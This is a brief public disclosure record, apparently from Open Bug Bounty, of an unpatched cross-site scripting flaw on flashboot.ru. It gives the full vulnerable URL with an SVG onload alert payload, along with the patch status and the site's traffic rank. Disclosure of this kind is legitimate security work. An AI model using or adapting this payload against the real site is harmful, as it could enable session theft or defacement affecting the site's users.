flashboot.ru XSS vulnerability

Vulnerable URL: http://flashboot.ru/files/file/410/!prettyPhoto/x,%3Csvg/onload=alert%27openbugbounty%27%3E/x Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 46895 VIP website...